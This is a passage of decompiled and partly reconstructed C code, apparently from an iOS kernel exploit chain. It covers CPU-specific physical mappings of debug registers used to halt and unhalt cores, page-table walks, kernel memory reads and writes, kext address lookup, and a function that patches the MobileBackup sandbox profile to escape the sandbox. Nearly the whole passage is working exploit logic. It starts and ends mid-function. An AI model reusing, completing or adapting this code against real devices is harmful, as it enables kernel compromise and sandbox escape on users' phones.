  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A16) )
  {
    paddr = 0x23B700000LL;
  }
  else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15) )
  {
    paddr = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_DMA_ALT) ? 0x404E80000LL : 0x23B700000LL;
  }
  else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14) )
  {
    paddr = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_DMA_ALT) ? 0x28E580000LL : 0x23B700000LL;
  }
  else if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13) && !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
  {
    return 708642;
  }

  {
    register struct_krwCtx *x0 asm("x0") = a1;
    register unsigned __int64 x1 asm("x1") = paddr;
    register __int64 x2 asm("x2") = (__int64)v16;
    asm volatile("bl _physmap_map_cached"
                 : "+r"(x0)
                 : "r"(x1), "r"(x2)
                 : "x3", "x4", "x5", "x6", "x7", "x8", "x9", "x10", "x11", "x12", "x13", "x14", "x15", "x16", "x17",
                   "v0", "v1", "v2", "v3", "v4", "v5", "v6", "v7", "memory", "cc");
    mapResult = (__int64)x0;
  }
  if ( (unsigned int)mapResult )
    return 708642;

  command = 0x1F0023FF;
  if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A16) )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15) )
    {
      if ( (int)number_of_cpus() < 8 )
      {
        regOffset = 0x3C8LL;
        goto LABEL_33;
      }
      regOffset = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_DMA_ALT) ? 0x108LL : 0x430LL;
    }
    else
    {
      if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14) )
      {
        if ( (int)number_of_cpus() < 8 )
        {
          regOffset = 0x3D0LL;
          goto LABEL_33;
        }
        regOffset = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_DMA_ALT) ? 0x3C0LL : 0x3F8LL;
      }
      else
      {
        command = 0x1F0003FF;
        if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13) )
        {
          regOffset = 0x390LL;
          goto LABEL_33;
        }
        if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
        {
          physmap_unmap_cached((__int64)a1, (__int64)v16);
          return 708642;
        }
        regOffset = (unsigned int)number_of_cpus() == 8 ? 0x3F8LL : 0x388LL;
      }
    }
    goto LABEL_33;
  }
  regOffset = 0x408LL;
LABEL_33:
  if ( (~*(uint32_t *)(v16[0] + regOffset) & 0xF) != 0 )
  {
    deadline = (unsigned __int64)((double)denom / (double)numer * 1000000.0 * 1000.0 + (double)start);
    *(uint32_t *)(regOffset + v16[0]) = command;
    while ( mach_absolute_time() < deadline && (~*(uint32_t *)(v16[0] + regOffset) & 0xF) != 0 )
      ;
    semaphore_timedwait_ns((__int64)a1, 0x3E8u);
  }
  physmap_unmap_cached((__int64)a1, (__int64)v16);
  return 0;
}

//----- (00000000000236A4) ----------------------------------------------------
// DONE: this matches the orig asm
bool __fastcall dmaFail_map_dbgwrap(struct_krwCtx *a1, __int64 a2, __int128 *a3)
{
    bzero(a3, 64);
    int v5 = physmap_map_cached(a1, a2 + DMAFAIL_DBGWRAP_MAP_OFFSET, (__int64)a3);
    if ( v5 )
        physmap_unmap_cached((__int64)a1, (__int64)a3);
    return v5 == 0;
}

//----- (0000000000023700) ----------------------------------------------------
__int64 __fastcall dmaFail_phystokv_cached(__int64 a1, __int64 a2)
{
    struct {
        uint64_t unused[4];
        volatile __int64 physmapKva;
    } out;
    uint64_t leafMask = *(uint64_t *)(a1 + 392);
    uint64_t maskedPhys = a2 & ~leafMask;
    int ok = pgtable_walk_wrapper(a1, maskedPhys, &out);

    TRACE_DMAFAIL("dmaFail_phystokv_cached ctx=%llx pa=%llx masked=%llx leaf=%llx ok=%d out={%llx,%llx,%llx,%llx,%llx} roots={%llx,%llx} global={%llx,%llx} page=%x flags=%x\n",
                  (unsigned long long)a1,
                  (unsigned long long)a2,
                  (unsigned long long)maskedPhys,
                  (unsigned long long)leafMask,
                  ok,
                  (unsigned long long)out.unused[0],
                  (unsigned long long)out.unused[1],
                  (unsigned long long)out.unused[2],
                  (unsigned long long)out.unused[3],
                  (unsigned long long)out.physmapKva,
                  (unsigned long long)*(uint64_t *)(a1 + 1488),
                  (unsigned long long)*(uint64_t *)(a1 + 1496),
                  (unsigned long long)*(uint64_t *)(a1 + 0x18A8),
                  (unsigned long long)*(uint64_t *)(a1 + 0x18B0),
                  *(uint32_t *)(a1 + 384),
                  *(uint32_t *)a1);

    if ( ok )
    {
        asm volatile("" ::: "memory");
        uint64_t physmapKva = out.physmapKva;
        if (!physmapKva) return 0;
        return (physmapKva & 0xFFFFFFFFC000LL) + (leafMask & a2);
    }
    return 0;
}

//----- (0000000000023760) ----------------------------------------------------
__int64 __fastcall dmaFail_dbgwrap_halt_cpu(struct_krwCtx *a1, __int64 a2)
{
  __int64 v4; // x21
  unsigned __int64 v6; // d0
  unsigned __int64 v7; // d1
  uint64_t v8; // x21
  struct mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF

  v4 = **(volatile uint64_t **)a2;
  if ( (v4 & 0x90000000) == 0 )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_MASK) )
      semaphore_timedwait_ns((__int64)a1, 0x3E8u);
    **(volatile uint64_t **)a2 = v4 | 0x80000000LL;
    *(uint8_t *)(a2 + 56) = 1;
    memset(&info, 0, sizeof(info));
    mach_timebase_info(&info);
    LODWORD(v6) = info.denom;
    LODWORD(v7) = info.numer;
    v8 = (unsigned __int64)((double)v6 / (double)v7 * 1000000.0 * 1000.0 + (double)mach_absolute_time());
    while ( mach_absolute_time() < v8 )
    {
      if ( (**(volatile uint64_t **)a2 & 0x10000000) != 0 )
        return 1;
    }
  }
  if ( *(uint8_t *)(a2 + 56) )
    dmaFail_dbgwrap_unhalt_cpu(a1, a2);
  return 0;
}
// 23808: variable 'v6' is possibly undefined
// 2380C: variable 'v7' is possibly undefined

//----- (000000000002385C) ----------------------------------------------------
uint32_t __fastcall dmaFail_dbgwrap_unhalt_cpu(struct_krwCtx *a1, __int64 a2)
{
  unsigned __int64 v4; // x21
  unsigned __int64 v5; // d0
  unsigned __int64 v6; // d1
  uint64_t v7; // x20
  struct mach_timebase_info info; // [xsp+8h] [xbp-38h] BYREF

  if ( !*(uint8_t *)(a2 + 56) )
    return 1;
  v4 = **(volatile uint64_t **)a2 & 0xFFFFFFFF2FFFFFFFLL | 0x40000000;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_MASK) )
    semaphore_timedwait_ns((__int64)a1, 0x3E8u);
  **(volatile uint64_t **)a2 = v4;
  memset(&info, 0, sizeof(info));
  mach_timebase_info(&info);
  LODWORD(v5) = info.denom;
  LODWORD(v6) = info.numer;
  v7 = (unsigned __int64)((double)v5 / (double)v6 * 1000000.0 * 1000.0 + (double)mach_absolute_time());
  while ( mach_absolute_time() < v7 )
  {
    if ( (**(volatile uint64_t **)a2 & 0x10000000) == 0 )
    {
      *(uint8_t *)(a2 + 56) = 0;
      return 1;
    }
  }
  return 0;
}
// 238CC: variable 'v5' is possibly undefined
// 238D0: variable 'v6' is possibly undefined

//----- (0000000000023940) ----------------------------------------------------
__int64 __fastcall kwrite_sandbox_entry(struct_krwCtx *a1, __int64 a2)
{
  void *v3; // x20
  __int64 v4; // x19
  __int64 v6; // [xsp+0h] [xbp-40h] BYREF
  uint64_t v7[3]; // [xsp+8h] [xbp-38h] BYREF
  unsigned int v8; // [xsp+24h] [xbp-1Ch] BYREF
  void *v9; // [xsp+28h] [xbp-18h] BYREF

  v9 = 0;
  v8 = 0;
  if ( !(unsigned int)read_kernel_data_buf(a1, 0, 0, &v9, &v8, 0) )
    return 0xFFFFFFFFLL;
  v6 = 0x786F62646E6153LL;
  v7[0] = a2;
  v3 = v9;
  v7[1] = v9;
  v7[2] = v8;
  v4 = __mac_syscall((__int64)&v6, 1, (__int64)v7);
  if ( v3 )
    free(v3);
  return v4;
}

//----- (00000000000239D8) ----------------------------------------------------
__int64 __fastcall read_kernel_data_buf(struct_krwCtx *a1, uint64_t *a2, uint32_t *a3, uint64_t *a4, uint32_t *a5, int a6)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  uint64_t *v13; // x19
  uint32_t *v14; // x22
  __int64 v15; // x25
  __int64 v16; // x27
  __int64 v17; // x28
  unsigned int v18; // w21
  unsigned __int64 xnuVersionPacked; // x9
  unsigned __int64 v20; // x26
  unsigned __int64 v21; // x1
  size_t v22; // x27
  void *v23; // x25
  void *v24; // x24
  unsigned __int64 v25; // x1
  __int64 v26; // x26
  uint32_t *v27; // [xsp+0h] [xbp-70h]
  __int64 address; // [xsp+8h] [xbp-68h] BYREF
  int v29; // [xsp+10h] [xbp-60h] BYREF
  uint32_t __size[3]; // [xsp+14h] [xbp-5Ch] BYREF

  result = 0;
  v29 = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8019 )
  {
    if ( xnuMajorVersion <= 8795 )
    {
      if ( xnuMajorVersion != 8020 && xnuMajorVersion != 8792 )
        return result;
      goto LABEL_18;
    }
    if ( xnuMajorVersion == 8796 )
    {
LABEL_18:
      v13 = a4;
      v14 = a3;
      v27 = a5;
      v18 = 16;
      v16 = 4;
      v17 = 24;
      v15 = 16;
      goto LABEL_26;
    }
    if ( xnuMajorVersion != 10002 )
      return result;
    v13 = a4;
    v14 = a3;
    v27 = a5;
    v18 = 16;
    v16 = 4;
    v17 = 24;
    v15 = 24;
LABEL_26:
    v20 = a1->gap191[5];
    result = validate_kaddr_range((__int64)a1, v20);
    if ( !result )
      return result;
    if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8020, 100, 0, 0, 0) )
    {
      v21 = v20 + v17;
    }
    else
    {
      result = kread_physmap_decorated(a1, v20 + v15, (unsigned __int64 *)&address);
      if ( !(uint32_t)result )
        return result;
      result = validate_kaddr_range((__int64)a1, address);
      if ( !result )
        return result;
      v21 = address + v17;
    }
    result = kread_physmap_decorated(a1, v21, (unsigned __int64 *)&address);
    if ( !(uint32_t)result )
      return result;
    if ( address )
    {
      result = validate_kaddr_range((__int64)a1, address);
      address = result;
      if ( !result )
        return result;
      result = krw_read_thunk(a1, v16 - v18 + result, 4, &v29);
      if ( !(uint32_t)result )
        return result;
      v22 = v29 - v18;
      v29 = v22;
      if ( (unsigned int)(v22 - 1) > 0x3FF )
        return 0;
      result = (__int64)malloc(v22);
      if ( !result )
        return result;
      v23 = (void *)result;
      if ( !(unsigned int)krw_read_thunk(a1, address, v22, (void *)result) )
      {
        v24 = 0;
LABEL_60:
        free(v23);
LABEL_61:
        if ( v24 )
          free(v24);
        return 0;
      }
    }
    else
    {
      v23 = 0;
    }
    if ( !a2 && !v14 )
    {
      *v13 = v23;
      *v27 = v29;
      return 1;
    }
    if ( a6 )
    {
      v25 = find_appleevent_kaddr((__int64)a1);
      address = v25;
      if ( !v25 )
        goto LABEL_58;
    }
    else
    {
      if ( !kread_physmap_decorated(a1, v20, (unsigned __int64 *)&address) )
        goto LABEL_58;
      v25 = address;
    }
    if ( kread_physmap_decorated(a1, v25, (unsigned __int64 *)&__size[1]) )
    {
      v24 = 0;
      if ( (unsigned int)krw_read_thunk(a1, address + a1->stride168, 4, __size) )
      {
        v26 = __size[0];
        if ( __size[0] <= 0x80000u )
        {
          v24 = malloc(__size[0]);
          if ( v24 )
          {
            if ( (unsigned int)krw_read_thunk(a1, *(__int64 *)&__size[1], v26, v24) )
            {
              *v13 = v23;
              *v27 = v29;
              result = 1;
              if ( !a2 || !v14 )
                return result;
              *a2 = v24;
              *v14 = __size[0];
              return 1;
            }
          }
        }
      }
LABEL_59:
      if ( !v23 )
        goto LABEL_61;
      goto LABEL_60;
    }
LABEL_58:
    v24 = 0;
    goto LABEL_59;
  }
  if ( xnuMajorVersion == 6153 )
  {
    v13 = a4;
    v14 = a3;
    v27 = a5;
    v15 = 0;
    xnuVersionPacked = a1->xnuVersionPacked;
    if ( xnuVersionPacked <= XNU_VERSION_PACKED(6153, 120, 30, 1023, 1023) )
      v18 = 32;
    else
      v18 = 16;
    if ( xnuVersionPacked <= XNU_VERSION_PACKED(6153, 120, 30, 1023, 1023) )
      v16 = 8;
    else
      v16 = 4;
    v17 = 48;
    goto LABEL_26;
  }
  if ( xnuMajorVersion == 7195 || xnuMajorVersion == 8019 )
  {
    v13 = a4;
    v14 = a3;
    v27 = a5;
    v15 = 16;
    v16 = 4;
    v17 = 72;
    v18 = 16;
    goto LABEL_26;
  }
  return result;
}

//----- (0000000000023D30) ----------------------------------------------------
mach_vm_address_t __fastcall setup_sandbox_bypass(__int64 a1, char a2)
{
  mach_vm_address_t result; // x0
  unsigned __int64 v5; // x1
  int v6; // w20
  mach_vm_address_t v7; // x0
  __int64 v8; // x2
  __int64 v10; // [xsp+0h] [xbp-70h] BYREF
  unsigned int v11; // [xsp+Ch] [xbp-64h] BYREF
  void *v12; // [xsp+10h] [xbp-60h] BYREF
  unsigned int v13; // [xsp+1Ch] [xbp-54h] BYREF
  void *v14; // [xsp+20h] [xbp-50h] BYREF
  uint64_t v15[4]; // [xsp+28h] [xbp-48h] BYREF

  result = necp_set_opt_string_6(a1, mach_task_self_);
  if ( !(uint32_t)result )
    return result;
  if ( (a2 & 1) != 0 )
  {
    if ( validate_kaddr_range(a1, *(uint64_t *)(a1 + 920))
      && !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) )
    {
      result = necp_set_opt_string_7((struct_krwCtx *)a1, *(uint32_t *)(a1 + 892), 0);
      if ( (uint32_t)result )
      {
        v5 = *(uint64_t *)(a1 + 6368);
        if ( !v5 )
        {
          v15[0] = 0;
          v5 = get_kobj_and_resolve_kaddr((struct_krwCtx *)a1, mach_task_self_, v15);
          *(uint64_t *)(a1 + 6368) = v5;
          *(uint64_t *)(a1 + 6376) = v15[0];
        }
        vm_attr_increment_offset_bounded((struct_krwCtx *)a1, v5, 10);
        if ( *(int *)(a1 + 320) < 7195 )
        {
          v14 = 0;
          v13 = 0;
          v12 = 0;
          v11 = 0;
          if ( (unsigned int)read_kernel_data_buf((struct_krwCtx *)a1, &v14, &v13, &v12, &v11, 1) )
          {
            if ( (unsigned int)parse_necp_opt_struct(a1, (__int16 *)v14, v13) )
            {
              v10 = 0x786F62646E6153LL;
              v15[0] = v14;
              v15[1] = v13;
              v15[2] = v12;
              v15[3] = v11;
              v6 = __mac_syscall((__int64)&v10, 0, (__int64)v15);
            }
            else
            {
              v6 = -1;
            }
            if ( v14 )
              free(v14);
            if ( v12 )
              free(v12);
          }
          else
          {
            v6 = -1;
          }
        }
        else
        {
          strcpy((char *)v15, "MobileBackup");
          v6 = kwrite_sandbox_entry((struct_krwCtx *)a1, (__int64)v15);
        }
        necp_set_opt_string_7((struct_krwCtx *)a1, *(uint32_t *)(a1 + 892), *(uint64_t *)(a1 + 936));
        if ( !v6 )
          krw_ctx_set_flag((uint32_t *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED);
        return v6 == 0;
      }
      return result;
    }
    return 1;
  }
  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) )
    return 1;
  v7 = get_task_kobj_and_walk_chain((struct_krwCtx *)a1, mach_task_self_);
  if ( v7 )
  {
    v8 = *(uint64_t *)(a1 + 6376);
    if ( !v8 )
      return 0;
    result = kwrite64_dispatch((struct_krwCtx *)a1, v7, v8);
    if ( (uint32_t)result )
    {
      krw_ctx_clr_flag((uint32_t *)a1, 4);
      return 1;
    }
  }
  return result;
}

//----- (0000000000023F78) ----------------------------------------------------
__int64 __fastcall run_callback_with_physmap_write(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3)
{
  __int64 result; // x0
  __int64 v7; // x20
  mach_vm_address_t v8; // x23

  result = 0;
  if ( a1 )
  {
    if ( a2 )
    {
      result = necp_set_opt_string_6(a1, mach_task_self_);
      if ( (uint32_t)result )
      {
        v7 = *(uint64_t *)(a1 + 936);
        if ( !v7 )
        {
          a2(a3);
          return 1;
        }
        v8 = *(uint64_t *)(a1 + 6384) + (unsigned int)((*(uint32_t *)(a1 + 892) + 1) * *(uint32_t *)(a1 + 360));
        if ( *(uint32_t *)(a1 + 6448) == -1
          || *(uint32_t *)(a1 + 6452) == -1
          || *(uint32_t *)(a1 + 6464) == -1
          || !*(uint64_t *)(a1 + 536)
          || *(uint8_t *)(a1 + 12) )
        {
          result = kwrite64(
                     a1,
                     *(uint64_t *)(a1 + 6384) + (unsigned int)((*(uint32_t *)(a1 + 892) + 1) * *(uint32_t *)(a1 + 360)),
                     0);
          if ( !(uint32_t)result )
            return result;
          goto LABEL_11;
        }
        result = pgtable_walk_and_physmap_remap(
                   (struct_krwCtx *)a1,
                   *(uint64_t *)(a1 + 6384) + (unsigned int)((*(uint32_t *)(a1 + 892) + 1) * *(uint32_t *)(a1 + 360)),
                   0);
        if ( (uint32_t)result )
        {
LABEL_11:
          a2(a3);
          if ( *(uint32_t *)(a1 + 6448) == -1
            || *(uint32_t *)(a1 + 6452) == -1
            || *(uint32_t *)(a1 + 6464) == -1
            || !*(uint64_t *)(a1 + 536)
            || *(uint8_t *)(a1 + 12) )
          {
            result = kwrite64(a1, v8, v7);
            if ( !(uint32_t)result )
              return result;
          }
          else
          {
            result = pgtable_walk_and_physmap_remap((struct_krwCtx *)a1, v8, v7);
            if ( !(uint32_t)result )
              return result;
          }
          return 1;
        }
      }
    }
  }
  return result;
}

//----- (00000000000240CC) ----------------------------------------------------
__int64 __fastcall check_sandboxed(int a1)
{
  __int64 result; // x0
  int v3; // w0
  bool v4; // zf
  int v5; // w0

  result = sandbox_check(getpid(), 0, 0);
  if ( (uint32_t)result )
  {
    if ( (unsigned int)sandbox_check(getpid(), "mach-lookup", SANDBOX_CHECK_NO_REPORT | 2, "com.apple.system.notification_center") )
      return 0;
    v3 = sandbox_check(getpid(), "mach-lookup", SANDBOX_CHECK_NO_REPORT | 2, "com.apple.lsd.mapdb");
    v4 = v3 == 0;
    result = v3 != 0;
    v4 = v4 || a1 == 0;
    if ( !v4 )
    {
      result = sandbox_check(getpid(), "syscall-unix", SANDBOX_CHECK_NO_REPORT, 0x61);
      if ( (uint32_t)result != 1 )
      {
        v5 = socket(2, 2, 0);
        if ( v5 != -1 )
        {
          close(v5);
          return 0;
        }
        return 1;
      }
    }
  }
  return result;
}

//----- (00000000000241BC) ----------------------------------------------------
__int64 __fastcall another_sandbox_check(__int64 a1)
{
  int v2; // w8
  __int64 result; // x0

  v2 = sandbox_check(getpid(), 0, 0);
  if ( !v2 || (result = 0, v2 == 1) )
  {
    *(uint8_t *)(a1 + 10) = v2;
    return 1;
  }
  return result;
}

//----- (0000000000024208) ----------------------------------------------------
unsigned __int64 __fastcall find_appleevent_kaddr(__int64 a1)
{
  unsigned __int64 result; // x0
  __int64 v3; // x8
  int has_flag; // w0
  __int64 v5; // x8
  __int64 v6; // x20
  __int64 v7; // x21
  unsigned __int64 v8; // x21
  int v9; // w8
  __int64 v10; // x1
  unsigned int v11; // w0
  __int64 v12; // x8
  __int64 v13[3]; // [xsp+0h] [xbp-50h] BYREF
  __int128 v14; // [xsp+18h] [xbp-38h] BYREF

  result = *(uint64_t *)(a1 + 1472);
  if ( result )
    return result;
  v3 = *(uint64_t *)(a1 + 280);
  if ( v3 )
  {
    if ( *(uint64_t *)(a1 + 288) )
    {
      result = *(uint64_t *)(v3 + 304);
      if ( result )
      {
LABEL_6:
        *(uint64_t *)(a1 + 1472) = result;
        return result;
      }
    }
  }
  has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_HAS_AUXKC_INFO);
  v5 = 6648;
  if ( !has_flag )
    v5 = 7448;
  v6 = *(uint64_t *)(a1 + v5);
  if ( !v6 )
    return 0;
  macho_getsectbyname("__TEXT", v6, "__cstring", &v14);
  result = search_binary_pattern_text(&v14, "appleevent-send", 0, 1);
  if ( result )
  {
    v7 = result;
    macho_getsectbyname("__DATA_CONST", v6, "__const", v13);
    result = find_pattern_kernel_section(v13, v7, *(unsigned __int8 *)(v6 + 52));
    if ( result )
    {
      v8 = result;
      v9 = *(uint32_t *)(a1 + 320);
      if ( v9 < 7195 )
      {
        if ( v9 < 6153 )
        {
          v11 = get_const_8();
          v10 = macho_read_u64_thunk(v6, v8 - 2LL * v11);
        }
        else
        {
          v10 = result - 128;
        }
      }
      else
      {
        v10 = result - 184;
      }
      result = validate_kaddr_range(a1, v10);
      if ( result )
      {
        v12 = *(uint64_t *)(a1 + 280);
        if ( v12 )
        {
          if ( *(uint64_t *)(a1 + 288) )
            *(uint64_t *)(v12 + 304) = result;
        }
        goto LABEL_6;
      }
    }
  }
  return result;
}
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);

//----- (0000000000024368) ----------------------------------------------------
void *__fastcall parse_necp_opt_struct(__int64 a1, __int16 *a2, __int64 a3)
{
  int v3; // w8
  __int64 v7; // x23
  unsigned __int64 v8; // x26
  unsigned __int64 v9; // x8
  unsigned __int64 v10; // x25
  void *result; // x0
  int v12; // w8
  int v13; // w9
  __int64 v14; // x22
  void *v15; // x21
  int v16; // w24
  char *v17; // x25
  int v18; // w26
  unsigned int v19; // w4
  int v20; // w0
  int v21; // w23
  unsigned int v22; // [xsp+Ch] [xbp-44h] BYREF

  v3 = *(uint32_t *)(a1 + 320);
  if ( v3 != 7195 && v3 != 6153 )
    return 0;
  if ( (unsigned int)a3 < 0xC )
    return 0;
  if ( *a2 < 0 )
    return 0;
  v7 = 2LL * *((unsigned __int8 *)a2 + 5);
  v8 = *((unsigned __int8 *)a2 + 10) + (unsigned __int64)(unsigned __int16)a2[4] + *((unsigned __int8 *)a2 + 11);
  v9 = v7 + 2 * v8;
  v10 = v9 + 12;
  if ( (int)v9 + 12 > (unsigned int)a3 )
    return 0;
  v12 = v10 + 2 * *((unsigned __int8 *)a2 + 4);
  v13 = 8 - (v12 & 6);
  if ( (v12 & 6) == 0 )
    v13 = 0;
  v14 = (unsigned int)(v13 + v12);
  v22 = v13 + v12;
  result = calloc((unsigned int)(8 * a3), 1u);
  if ( result )
  {
    v15 = result;
    if ( (unsigned int)v10 < (unsigned int)v14 )
    {
      v16 = 0;
      v17 = (char *)a2 + v10;
      v18 = 2 * v8 + v7 + 12;
      while ( *(uint16_t *)&v17[v16] )
      {
        v19 = v14 + 8 * *(unsigned __int16 *)&v17[v16];
        if ( v19 < v18 + v16 )
        {
          v21 = -2;
          goto LABEL_21;
        }
        v20 = mark_necp_option_visited((__int64)a2, a3, (__int64)v15, v14, v19, &v22);
        if ( v20 )
        {
          v21 = v20;
          goto LABEL_21;
        }
        v16 += 2;
        if ( v18 + v16 >= v22 )
          break;
      }
    }
    v21 = 0;
LABEL_21:
    free(v15);
    return (void *)(v21 == 0);
  }
  return result;
}

//----- (00000000000244C8) ----------------------------------------------------
__int64 __fastcall mark_necp_option_visited(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6)
{
  __int64 result; // x0
  unsigned __int64 v8; // x8
  __int64 v13; // x24
  __int16 v14; // w8

  if ( a5 + 8 > (unsigned int)a2 )
    return 0xFFFFFFFFLL;
  v8 = (unsigned __int64)a5 >> 3;
  if ( *(uint8_t *)(a3 + v8) )
    return 0;
  *(uint8_t *)(a3 + v8) = 1;
  if ( *a6 > a5 )
    *a6 = a5;
  v13 = a1 + a5;
  if ( *(uint8_t *)v13 == 1 )
  {
    v14 = *(uint16_t *)(v13 + 1);
    if ( (v14 & 1) != 0 )
      *(uint16_t *)(v13 + 1) = v14 & 0xFFFA;
    return 0;
  }
  result = mark_necp_option_visited(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 4), a6);
  if ( !(uint32_t)result )
  {
    result = mark_necp_option_visited(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 6), a6);
    if ( !(uint32_t)result )
      return 0;
  }
  return result;
}

//----- (00000000000245BC) ----------------------------------------------------
__int64 __fastcall get_kext_base_addr(__int64 a1, char *__s, uint64_t *a3)
{
  size_t v6; // x0
  __int64 result; // x0
  __int64 v8; // [xsp+8h] [xbp-28h] BYREF

  v6 = strlen(__s);
  result = find_macho_entry_by_name(a1, __s, v6 + 1, &v8);
  if ( (uint32_t)result )
  {
    *a3 = v8;
    return 1;
  }
  return result;
}

//----- (0000000000024620) ----------------------------------------------------
__int64 __fastcall find_macho_entry_by_name(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4)
{
  size_t v5; // x21
  __int64 v8; // x0
  __int64 v9; // x0
  char *v10; // x23
  unsigned int v11; // w8
  __int64 v12; // x24
  const char *i; // x22
  __int64 v14; // x8
  __int64 v15; // x23
  __int64 v16; // x0
  __int64 v17; // x8
  __int64 v18; // x24
  char *v19; // x0
  __int64 v20; // x25
  __int64 v21; // x26
  __int128 *v22; // x27
  __int128 v23; // q1
  __int128 v24; // q1
  unsigned int v26; // [xsp+4h] [xbp-ACh] BYREF
  __int64 v27; // [xsp+8h] [xbp-A8h] BYREF
  __int64 v28; // [xsp+10h] [xbp-A0h] BYREF
  __int128 v29[3]; // [xsp+18h] [xbp-98h] BYREF
  __int128 v30; // [xsp+48h] [xbp-68h]

  v5 = a3;
  v8 = *(uint64_t *)(a1 + 6656);
  if ( v8 )
  {
    v9 = macho_find_loadcmd_by_name(v8, __s2, a3);
    if ( v9 )
    {
      *a4 = v9;
      return 1;
    }
  }
  v10 = *(char **)(a1 + 7440);
  if ( v10 )
  {
    v11 = *(uint32_t *)(a1 + 7432);
LABEL_6:
    if ( v5 >= 0x40 )
      v5 = 64;
    if ( v11 )
    {
      v12 = v11;
      for ( i = v10 + 8; strncmp(__s2, i, v5); i += 72 )
      {
        if ( !--v12 )
          return 0;
      }
      *a4 = *((uint64_t *)i - 1);
      return 1;
    }
    return 0;
  }
  v14 = *(uint64_t *)(a1 + 280);
  if ( !v14 || !*(uint64_t *)(a1 + 288) || (v15 = *(uint64_t *)(v14 + 264)) == 0 )
  {
    v16 = find_kernel_func_by_scan(*(__int64 **)(a1 + 6648));
    if ( !v16 )
      return 0;
    v15 = v16;
    if ( !validate_kaddr_range(a1, v16) )
      return 0;
    v17 = *(uint64_t *)(a1 + 280);
    if ( v17 && *(uint64_t *)(a1 + 288) )
      *(uint64_t *)(v17 + 264) = v15;
  }
  if ( kread_u32(a1, v15 + 20, &v26)
    && v26 <= 0x400
    && kread_physmap_decorated((struct_krwCtx *)a1, v15 + 32, (unsigned __int64 *)&v27) )
  {
    if ( validate_kaddr_range(a1, v27) )
    {
      v18 = v26;
      v19 = (char *)calloc(72LL * v26, 1u);
      if ( v19 )
      {
        v10 = v19;
        if ( (uint32_t)v18 )
        {
          v20 = 0;
          v21 = v27;
          v22 = v19 + 8;
          while ( kread_physmap_decorated(
                    (struct_krwCtx *)a1,
                    v21 + (unsigned int)(*(uint32_t *)(a1 + 360) * v20),
                    (unsigned __int64 *)&v28) )
          {
            if ( !validate_kaddr_range(a1, v28) )
              break;
            if ( !kread_physmap_decorated((struct_krwCtx *)a1, v28 + 80, (unsigned __int64 *)&v28) )
              break;
            if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v28 + 16, 64, v29) )
              break;
            HIBYTE(v30) = 0;
            v23 = v29[1];
            *v22 = v29[0];
            v22[1] = v23;
            v24 = v30;
            v22[2] = v29[2];
            v22[3] = v24;
            if ( !kread_physmap_decorated((struct_krwCtx *)a1, v28 + 156, (unsigned __int64 *)&v28) )
              break;
            *((uint64_t *)v22 - 1) = v28;
            ++v20;
            v22 = (__int128 *)((char *)v22 + 72);
            if ( v18 == v20 )
            {
              v11 = v26;
              goto LABEL_40;
            }
          }
          free(v10);
          return 0;
        }
        v11 = 0;
LABEL_40:
        *(uint64_t *)(a1 + 7440) = v10;
        *(uint32_t *)(a1 + 7432) = v11;
        goto LABEL_6;
      }
    }
  }
  return 0;
}

//----- (00000000000248A4) ----------------------------------------------------
__int64 __fastcall find_macho_entry_by_name_wrap(__int64 a1, char *a2, unsigned __int64 a3, uint64_t *a4)
{
  __int64 result; // x0
  __int64 v6; // [xsp+8h] [xbp-18h] BYREF

  result = find_macho_entry_by_name(a1, a2, a3, &v6);
  if ( (uint32_t)result )
  {
    *a4 = v6;
    return 1;
  }
  return result;
}

//----- (00000000000248E4) ----------------------------------------------------
__int64 __fastcall init_krw_ctx_fields(__int64 a1)
{
  __int64 result; // x0

  if ( !a1 )
    return 708609LL;
  result = 0LL;
  *(uint64_t *)a1 = 0LL;
  *(uint64_t *)(a1 + 8) = 0LL;
  *(uint32_t *)(a1 + 16) = 0;
  return result;
}

//----- (0000000000024908) ----------------------------------------------------
__int64 __fastcall free_krw_ctx_flags(__int64 a1)
{
  void *v2; // x0
  __int64 result; // x0

  if ( !a1 )
    return 708609;
  v2 = *(void **)a1;
  if ( v2 )
    free(v2);
  result = 0;
  *(uint64_t *)a1 = 0;
  *(uint64_t *)(a1 + 8) = 0;
  *(uint32_t *)(a1 + 16) = 0;
  return result;
}

//----- (0000000000024954) ----------------------------------------------------
double __fastcall krw_ctx_buf_append_typed_val(__int64 a1, int a2)
{
  double result; // d0
  __int64 v5; // x8

